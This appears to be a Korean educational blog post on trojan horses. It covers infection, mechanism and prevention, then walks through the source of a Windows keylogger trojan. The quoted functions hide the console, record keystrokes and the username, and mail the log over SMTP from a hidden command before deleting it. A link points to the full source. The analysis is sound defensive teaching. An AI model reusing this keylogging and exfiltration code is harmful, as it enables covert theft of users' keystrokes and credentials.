trojan horse

트로이목마는 외관상으로는 정상적인 프로그램처럼 보이지만, 악의적인 코드가 숨겨져있는 프로그램을 의미

트로이 목마 프로그램(DR1_us.exe)의 MD5를 Virustotal를 통해 검사해본 결과

 

 

감염대상

업데이트 되지 않은 운영체제를 사용하고 메일, 게임, 피싱 사이트에서 무분별하게 파일을 다운받는 자

 

 

동작원리

1. 해커가 악성코드 작성 후 실행파일로 컴파일 ex) .exe

  • 컴파일 : 프로그래밍 언어로 작성된 소스코드를 컴퓨터가 실행가능한 형태로 변환하는 과정

2. 피해자가 트로이 목마 파일 다운로드 및 실행

3. 악성 코드가 실행되면서 백도어, 데이터 전송, 시스템 손상 및 삭제 진행 

 

 

해결방안

1. 운영체제 최신 업데이트

2. 메일, 게임, 피싱 사이트에서 무분별한 파일 다운로드 금지

3. 안티 바이러스 프로그램 사용 및 주기적인 검사

4. 의심되는 파일 확인 시 자동화 분석 도구를 사용하여 검사 후 삭제

  • virustotal.com
  • malwares.com

 

 

trojan horse 바이러스 소스 코드 분석

※ 악성코드 분석 결과 발견된 위협에 대해 알려드립니다. 이 코드는 사용자의 컴퓨터 시스템에 손상을 입힐 수 있는 가능성이 있으며, 개인 정보 유출, 시스템 장애, 또는 불법적인 활동에 이용될 수 있습니다. 이러한 악성 코드로부터 안전하게 보호하려면 소프트웨어 업데이트, 안티바이러스 프로그램 사용, 신뢰할 수 있는 소스에서의 파일 다운로드 등 보안 조치를 취해야 합니다. 또한, 의심스러운 이메일 첨부 파일이나 링크를 클릭하지 않고, 불분명한 출처의 소프트웨어를 다운로드하지 않는 것이 중요합니다. 안전한 인터넷 사용을 위해 항상 주의를 기울이고, 보안에 대한 경각심을 가지는 자세가 중요합니다.

 

main()

main(){
    FreeConsole(); ///hide window

    age = get_setAge();
    if(checkRecordSize()){ ///check for right time

        int i=1;
        while(i<3){ ///try 2 times to send data
        
            Sleep(i*MAIL_WAIT_TIME); ///wait
            if(!system("ping www.google.com -n 1")){ ///check connection
                ////////////****SEND DATA****////////////
                sendData();

                Sleep(MAILING_TIME); ///wait! or file will be deleted before sending
                DeleteFile(FILE_NAME);

                break;
            }
            i++;
        }
    }
  • checkRecordSize()함수가 참이고 구글에 핑을 보내진다면 sendData()함수가 실행되는걸 두번 시도
  • if(!system("ping http://www.google.com -n 1"))
    • system()함수는 성공할 때 0을 반환. 그렇기때문에 !0은 1이 되므로 구글에 핑이 반환될 경우 sendData()함수가 실행

 

checkRecordSize()

bool checkRecordSize(){
    string line;
    ifstream myfile(FILE_NAME);

    int noOfLines = 0;
    if(myfile.is_open()){
        while(getline(myfile, line)){
            noOfLines++;
        }
        myfile.close();
    }

    if(noOfLines<MIN_RECORD_SIZE*age){
        return false;
    }else{
        return true;
    }
}
  • 파일을 열은 후 라인의 수만큼 noOfLines변수에 카운트
    • ifstream myfile(FILE_NAME) : 파일을 열기위한 객체 생성
    • myfile.is_open() : 파일이 열려있다면 true, 닫혀있다면 false를 반환
  • noOfLines변수의 값이 특정 기준(MIN_RECORD_SIZE*age)보다 작다면 false, 크다면 true 값을 반환

 

sendData()

void sendData(){
    char* command = "Transmit smtp://smtp.gmail.com:587 -v --mail-from \"your.email@gmail.com\" --mail-rcpt \"your.email@gmail.com\" --ssl -u your.email@gmail.com:password -T \"Record.log\" -k --anyauth";
    WinExec(command, SW_HIDE);
}
  • SMTP프로토콜을 사용하여 Record.log파일을 자신의 메일로 전송하는 함수
    • -k 옵션 : 전송시 인증 관련 에러 무시하고 진행, --anyauth 옵션 : 서버로부터 받은 인증 방법 수락

 

logUserTime()

void logUserTime(){
    FILE *file = fopen(FILE_NAME, "a");

    char username[20];
    unsigned long username_len = 20;
    GetUserName(username, &username_len);
    time_t date = time(NULL);
    fprintf(file, "0\n%s->%s\t", username, ctime(&date));

    fclose(file);
}
  • 파일에 사용자의 이름과 날짜, 0으로 시작하는 문자열을 기록하는 함수
    • fopen함수로 FILE_NAME을 추가 모드로 열은 후 GetUserName함수를 이용하여 로그인된 사용자의 이름, time()함수로 현재시간을 가져옵니다.
    • fprintf함수를 사용하여 userame, ctime을 file에 기록

 

logkey()

void logKey(){
    FILE *file;
    unsigned short ch=0, i=0, j=500; // :)

    while(j<500){ ///loop runs for approx. 25 seconds
        ch=1;
        while(ch<250){
            for(i=0; i<50; i++, ch++){
                if(GetAsyncKeyState(ch) == -32767){ ///key is stroke
                    file=fopen(FILE_NAME, "a");
                    fprintf(file, "%d ", ch);
                    fclose(file);
                }
            }
            Sleep(1); ///take rest
        }
        j++;
    }
}
  • 키가 눌러져있으면 파일을 추가모드로 열은 후 해당 키를 파일에 기록
    • for(i=0; i<50; i++, ch++) : i가 50보다 작을때까지 i와 ch를 1씩 증가시키면서 반복.
    • GetAsyncKeyState : 특정 키의 현재 상태를 확인할 때 사용하는 Windows API함수
    • if(GetAsynckeyState(ch) == -32767) : ch에 해당하는 키가 눌러져있다면(-32767) 파일을 추가 모드로 열은 후 ch에 해당하는 키를 기록 후 닫기

 

 


trojan horse 소스 코드

https://github.com/MinhasKamal/TrojanCockroach/tree/master

+ Recent posts